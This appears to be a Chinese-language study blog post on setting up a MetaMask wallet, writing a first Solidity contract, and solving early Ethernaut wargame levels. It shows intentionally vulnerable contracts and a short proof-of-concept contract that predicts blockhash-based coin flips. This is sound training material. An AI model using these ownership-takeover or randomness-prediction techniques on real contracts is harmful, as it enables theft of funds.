0x01 钱包创建
可以在Chrome拓展商店下载并安装MetaMask拓展

创建钱包
按照提示一步一步来即可获得一个钱包
助记词
在钱包创建完成前,MetaMask会提示你是否启用安全选项(即助记词)
助记词是一组由随机生成的单词组成的短语,用于备份和恢复加密货币钱包的私钥
助记词可通过BIP39工具生成
BIP39(Bitcoin Improvement Proposal 39)是一种标准,它定义了一种生成和恢复加密货币钱包的方法,通过使用一组易于记忆的单词序列,即助记词。这些助记词可以生成种子,进而派生出加密货币钱包的私钥和地址。BIP39的主要作用是简化用户备份和恢复钱包的过程,同时提高安全性,因为它允许用户通过记住或写下这些单词来备份他们的钱包,而不是复杂的私钥字符串。
BIP39工具安装:
创建完成
创建完成后即可在Etherscan上查看账户信息

0x02 智能合约——Solidity语言
Solidity 是一种专门用于编写智能合约的高级编程语言,主要用于以太坊及兼容以太坊虚拟机(EVM)的区块链平台,其作用是通过代码定义去中心化应用(DApp)的自动化规则和逻辑(如代币发行、交易协议等),并确保这些合约在区块链上安全、透明地执行。
第一个合约
在线IDE——Remix
合约,使用Solidity语言编写:

版本选择与编译:

连接metamask:


部署合约:

(但是付不起…)
0x03 浅尝区块链安全
Ethernaut靶场:https://ethernaut.openzeppelin.com/
第二关 Fallback
合约代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Fallback { mapping(address => uint256) public contributions; address public owner;
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
function getContribution() public view returns (uint256) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); }
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
|
这里的取钱函数加上了onlyOwner
修饰,即必须是合约所有者才能取钱
但是在receive()
函数中,当msg.value
和contributions[msg.sender]
大于0我们就可以变成合约的所有者了
PoC
先contribute1GWei,然后再向合约转一点ETH即可变成owner
第三关 Fallout
合约代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout { using SafeMath for uint256;
mapping(address => uint256) allocations; address payable public owner;
// constructor function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); }
function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } }
|
构造函数命名错误
Poc
发送一点ETH即可变成owner
第四关 Coin Flip
合约代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() { consecutiveWins = 0; }
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) { revert(); }
lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false;
if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
|
其coinFlip
是通过blockValue / FACTOR
进行计算的
即
1
| coinFlip = uint256(blockhash(block.number - 1)) / FACTOR
|
block.number
和FACTOR
均为已知值
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| contract PoC{ CoinFlip public target; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target){ target = CoinFlip(_target); }
function _guess() public{ uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; target.flip(side); } }
|